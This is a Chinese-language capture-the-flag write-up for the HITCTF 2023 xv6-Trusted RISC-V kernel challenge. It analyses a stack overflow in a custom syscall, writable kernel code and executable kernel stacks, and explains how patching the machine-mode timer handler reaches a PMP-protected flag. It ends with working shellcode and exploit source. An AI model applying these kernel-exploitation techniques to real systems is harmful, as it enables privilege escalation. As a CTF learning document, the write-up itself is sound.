HITCTF 2023 xv6-Trusted
第一次打内核题，虽然是xv6但还是感觉非常酷。比赛结束前才想到了真的可行的思路，赛后结合官方 writeup 调出来了。
程序分析
本程序由教学操作系统 xv6 改编而来，是一道 RISC-V 内核漏洞利用题。 在 xv6 中，没有地址随机化机制。但有着页表权限保护，也就是 R/W/X 权限位；并且在 xv6 通过 ecall 进入 supervisor mode 时，会将页表切换到内核页表，从而屏蔽对于用户内存地址的访问。
题目的目标是读出位于内核的数据段中的 flag，出题人贴心地给出了一个 backdoor 函数来帮我们读出 flag：
.text:000000008000620C # public backdoor
.text:000000008000620C backdoor:
.text:000000008000620C
.text:000000008000620C var_s0 = 0
.text:000000008000620C var_s8 = 8
.text:000000008000620C arg_0 = 10h
.text:000000008000620C
.text:000000008000620C addi sp, sp, -10h
.text:000000008000620E sd ra, var_s8(sp)
.text:0000000080006210 sd s0, var_s0(sp)
.text:0000000080006212 addi s0, sp, arg_0
.text:0000000080006214 li a0, 80008860h
.text:0000000080006220 lui a1, %hi(10000000h)
.text:0000000080006224 li a2, 0
.text:0000000080006226 li a3, 20h # ' '
.text:000000008000622A
.text:000000008000622A loop: # CODE XREF: backdoor+2A↓j
.text:000000008000622A lb a4, 0(a0)
.text:000000008000622E sb a4, %lo(10000000h)(a1)
.text:0000000080006232 addi a0, a0, 1
.text:0000000080006234 addi a2, a2, 1
.text:0000000080006236 blt a2, a3, loop
.text:000000008000623A la a0, aHeyHereIsYourF # "Hey, here is your flag"
.text:0000000080006242 call panic
.text:0000000080006242 # End of function backdoor
但不幸的是，内核中为 flag 所处的内存提供了额外的 PMP（Physical Memory Protection）保护，这里只是简单介绍一下用途，具体细节可以去阅读 RISC-V 特权手册（riscv/riscv-isa-manual: RISC-V Instruction Set Manual）的对应章节（位于 Machine-Level ISA, Version 1.12 中）。
在 RISC-V 中有三种权限等级：通常机器启动时处于 machine mode、内核运行在 supervisor mode、用户程序运行在 user mode。 PMP 是一种由 machine mode 进行设置和修改的保护，可以给某段内存设置可读、可写、可执行等权限，并对 supervisor mode 和 user mode 生效。
在 start 函数中，内核为 flag 所在内存添加了不可读、不可写、不可执行的权限保护：
.text:00000000800000D8 la a5, flag # "HITCTF2023{true_flag_on_server}"
.text:00000000800000E0 srli a5, a5, 2
.text:00000000800000E2 ori a5, a5, 3
.text:00000000800000E6 csrw pmpaddr0, a5
.text:00000000800000EA csrw pmpaddr1, a4
.text:00000000800000EE li a5, -1
.text:00000000800000F0 srli a5, a5, 0Ah
.text:00000000800000F2 csrw pmpaddr2, a5
.text:00000000800000F6 li a5, 0F0018h
.text:00000000800000FC csrw pmpcfg0, a5
因此，就算我们直接在内核中调用 backdoor 函数，也只能看到一个报错而不是 Flag。（做题的时候以为马上出 flag 了，然后就遇到了禁止访问的报错，一时很难绷住）
我们想要读出 flag，就一定需要处于 machine mode 中，或者在 machine mode 中将保护关闭，但可以通过搜索 pmpaddr 的方法发现程序本身并没有提供关闭保护的功能（
漏洞分析
第一个比较明显的漏洞，就是新添加的系统调用 sys_encrypt 中存在的栈溢出漏洞，官方 wp 中提供的函数源码：
uint64 sys_encrypt(void){
char buffer[256];
char key[256];
uint l = 0;
const char* src;
uint srclen;
char* dst;
uint dstlen;
const char* keyva;
uint keylen;
struct proc *p = myproc();
argaddr(0, (uint64*)&src);
argint(1, (int*)&srclen);
argaddr(2, (uint64*)&dst);
argint(3, (int*)&dstlen);
argaddr(4, (uint64*)&keyva);
argint(5, (int*)&keylen);
keylen = keylen < 256? keylen: 256;
copyin(p->pagetable, key, (uint64)(keyva), keylen);
while(l < srclen){
uint len_in_round = 0;
// copy in src. stack overflow here
while(len_in_round < 256 && len_in_round < srclen){
copyin(p->pagetable, buffer + len_in_round, (uint64)(src + len_in_round), keylen);
len_in_round += keylen;
}
for(uint i = 0; i < len_in_round; i++){
buffer[i] ^= key[i % keylen];
}
copyout(p->pagetable, (uint64)(dst + l), buffer, len_in_round);
l += len_in_round;
}
return 0;
}
虽然函数的第一个 copyin 处对大小作了检查与限制（0x100），但第二个循环 copyin 很容易就会导致溢出。只要合理构造参数，我们就可以通过 bufff 溢出到高位。
第二个漏洞是页表的权限保护不当问题，原版 xv6 是没有这个问题的，而作者为了让题目能打所以手动改出了一些漏洞。
首先是内核代码可写。映射内核页表的代码位于 vm.c-kvmmake() 中，本来是长这样的：
...
kvmmap(kpgtbl, KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_X);
...
经过魔改后变成了这样（C 以及对应汇编）：
kvmmap(kpgtbl, KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_W | PTE_X);
.text:00000000800011FA la s2, etext
.text:0000000080001202 li a4, 1110b
.text:0000000080001204 la a3, 8000h
.text:000000008000120C li a2, 1
.text:000000008000120E slli a2, a2, 1Fh
.text:0000000080001210 mv a1, a2
.text:0000000080001212 mv a0, s1
.text:0000000080001214 call kvmmap
其次是进程内核栈可执行，代码位于 proc.c 中，原来长这样：
// Allocate a page for each process's kernel stack.
// Map it high in memory, followed by an invalid
// guard page.
void
proc_mapstacks(pagetable_t kpgtbl)
{
struct proc *p;
for(p = proc; p < &proc[NPROC]; p++) {
char *pa = kalloc();
if(pa == 0)
panic("kalloc");
uint64 va = KSTACK((int) (p - proc));
kvmmap(kpgtbl, va, (uint64)pa, PGSIZE, PTE_R | PTE_W);
}
}
经过魔改后变成了这样（伪代码以及汇编）：
kvmmap(kpgtbl, va, (uint64)pa, PGSIZE, PTE_R | PTE_W | PTE_X);
.text:00000000800018CA li a4, 1110b
.text:00000000800018CC lui a3, 1
.text:00000000800018CE sub a1, s2, a1
.text:00000000800018D2 mv a0, s3
.text:00000000800018D4 call kvmmap
因此，结合 xv6 没有随机化的特性，我们可以在栈上打 shellcode，且连 NOP Sled 都不用嘿嘿。
漏洞利用
最初的步骤：如何构造 sys_encrypt 参数、以及劫持返回地址、以及栈上的 shellcode 执行略去不表（算一下调一下就好 hhhh）。这里就假设我们已经可以任意执行代码了。
为了绕过 PMP 保护，我想到了几种思路：
找到未被保护的Flag
由于 Flag 是硬编码在 kernel 文件中的，因此我首先想到的办法是泄露服务器端的 kernel 文件。但是 xv6 在生成文件系统的时候，并不会将 kernel 放在里面。 我们使用 qemu 启动 xv6 时直接指定了编译好的 kernel，qemu 会把 kernel 直接加载到内存中。
所以在 xv6 系统内，内核只存在于内存中且独一无二，这种方法被证实是不行的（
RESET
在阅读 RISC-V 手册时，我注意到在 machine mode 中有一个小章节介绍了 Reset 。此时我已经发现了内核代码是可修改的，因此我想到的办法就是将 start 函数中对 flag 施加保护的代码覆写为 nop ，然后进行重启，这样重启后的系统就不会再有对 flag 的保护。
重启并不是 CPU 负责的事（CPU 负责的都是计算），准确来说并不是一个指令集所关心的事情。通常，重启是通过 CPU 向主板设备发送信号来完成的。
在题目环境中，启动 qemu 时指定使用的主板是 virt ，一个只具有最基础功能的主板，其描述见 ‘virt’ Generic Virtual Platform (virt) — QEMU documentation。
如何知道这个设备能否重启、如何重启呢？反正上面这个文档里我没找到（悲）。 我在 qemu 的源码中找到了该主板设备负责注册重启功能的函数：qemu/hw/riscv/virt.c at master · qemu/qemu (github.com)，具体来说是如下几行：
qemu_fdt_setprop_cells(ms->fdt, name, "reg",
0x0, memmap[VIRT_TEST].base, 0x0, memmap[VIRT_TEST].size);
qemu_fdt_setprop_cell(ms->fdt, name, "phandle", test_phandle);
test_phandle = qemu_fdt_get_phandle(ms->fdt, name);
g_free(name);
name = g_strdup_printf("/reboot");
qemu_fdt_add_subnode(ms->fdt, name);
qemu_fdt_setprop_string(ms->fdt, name, "compatible", "syscon-reboot");
qemu_fdt_setprop_cell(ms->fdt, name, "regmap", test_phandle);
qemu_fdt_setprop_cell(ms->fdt, name, "offset", 0x0);
qemu_fdt_setprop_cell(ms->fdt, name, "value", FINISHER_RESET);
g_free(name);
从这里的代码我们可以大致猜到，映射所采用的是 mmio 方法，地址 VIRT_TEST 偏移 0 处，如果写入 FINISHER_RESET 的话就可以进行重启。借助 Github 右栏的引用查找功能，不难找到 VIRT_TEST 的值为 0x100000，FINISHER_RESET 的值为 0x7777。
经过测试，确实可以通过这个方法来 reset 机器。但是我悲伤地发现在 reset 之后，我对内核代码做的修改也一起 reset 了。看来 qemu 每次 reset 都会重新加载一遍 kernel 文件啊。
修改 timervec
在测试完上面那种方法不可行后，我就想到了这个方法，但此时离结束比赛只剩下半小时，因此非常可惜没有做完。（后来看官方的 wp 又得知了一些 trick，说不定我自己调也还要调半天）
既然 PMP 只有 machine mode 可以操控或无视，那么我们的目标就是想方设法进入 machine mode。
正好，xv6 对于 timer interrupt 的处理是位于 machine mode 中的。具体来说，会在 start 函数中调用 timerinit，来将 timervec 函数注册到 mtvec 中：
// arrange to receive timer interrupts.
// they will arrive in machine mode at
// at timervec in kernelvec.S,
// which turns them into software interrupts for
// devintr() in trap.c.
void
timerinit()
{
...
// set the machine-mode trap handler.
w_mtvec((uint64)timervec);
// enable machine-mode interrupts.
w_mstatus(r_mstatus() | MSTATUS_MIE);
// enable machine-mode timer interrupts.
w_mie(r_mie() | MIE_MTIE);
}
因此，实际上内核在启动进入 supervisor mode 之后，唯一使用 machine mode 执行的代码就是这个 timervec 函数了，实现位于 kernelvec.S 中：
.globl timervec
.align 4
timervec:
# start.c has set up the memory that mscratch points to:
# scratch[0,8,16] : register save area.
# scratch[24] : address of CLINT's MTIMECMP register.
# scratch[32] : desired interval between interrupts.
csrrw a0, mscratch, a0
sd a1, 0(a0)
sd a2, 8(a0)
sd a3, 16(a0)
# schedule the next timer interrupt
# by adding interval to mtimecmp.
ld a1, 24(a0) # CLINT_MTIMECMP(hart)
ld a2, 32(a0) # interval
ld a3, 0(a1)
add a3, a3, a2
sd a3, 0(a1)
# arrange for a supervisor software interrupt
# after this handler returns.
li a1, 2
csrw sip, a1
ld a3, 16(a0)
ld a2, 8(a0)
ld a1, 0(a0)
csrrw a0, mscratch, a0
mret
这是一个会不定期被触发的、位于 machine mode 中的函数，这个函数的实现位于内核中，且是可以修改的。 所以我们劫持这个函数调用 backdoor，就可以让 backdoor 函数在 machine mode 被执行了，从而打印出 Flag。
（这里本来脑子没转过来，想的是让 timervec 把 PMP 给关了，然后我自己调用 backdoor，但这种方法增加了复杂度，不如直接调用 backdoor 简洁）
此外还有一个注意点，就是在进入 timervec 之后，需要使用 csrw mie, x0 （machine-mode interrupt enable）来关闭 machine mode 的各种中断。否则，在读 flag 读一半触发这个中断就不好了。（看官网 wp 学到的）
我的 exp 如下：
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"
/* hijack timervec:
* 30401073 csrr mie,x0 (disable timer interrupt)
* 00060067 jr a2
*/
uint32 a1[0x140/4] = {
0x00040637, // li a2, 0x80006214
0x0036061b,
0x00d61613,
0x21460613,
0x00040537, // li a0, 0x80005BF0
0x0035051b,
0x00d51513,
0xbf050513,
0x304015b7, // li a1, 0x30401073
0x0735859b,
0x00b53023, // sd a1, (a0)
0x00450513, // addi a0, a0, 4
0x000605b7, // li a1, 0x00060067
0x0675859b,
0x00b53023, // sd a1, (a0)
0x0000006f, // infinte loop
};
char a3[0x140];
char a5[0x100] = {0};
int main()
{
*(long*)(&a1[0x138/4]) = 0x3fffff9e80; // ra = 0x3fffff9e80 shellcode
encrypt((char*)a1, 0x100, a3, 0, a5, 0xa0);
return 0;
}
另外还有一个坑，就是 backdoor 函数前 N 句汇编是一些栈相关操作，我们需要跳过这几句汇编。否则内核会卡住不动！太坑了！
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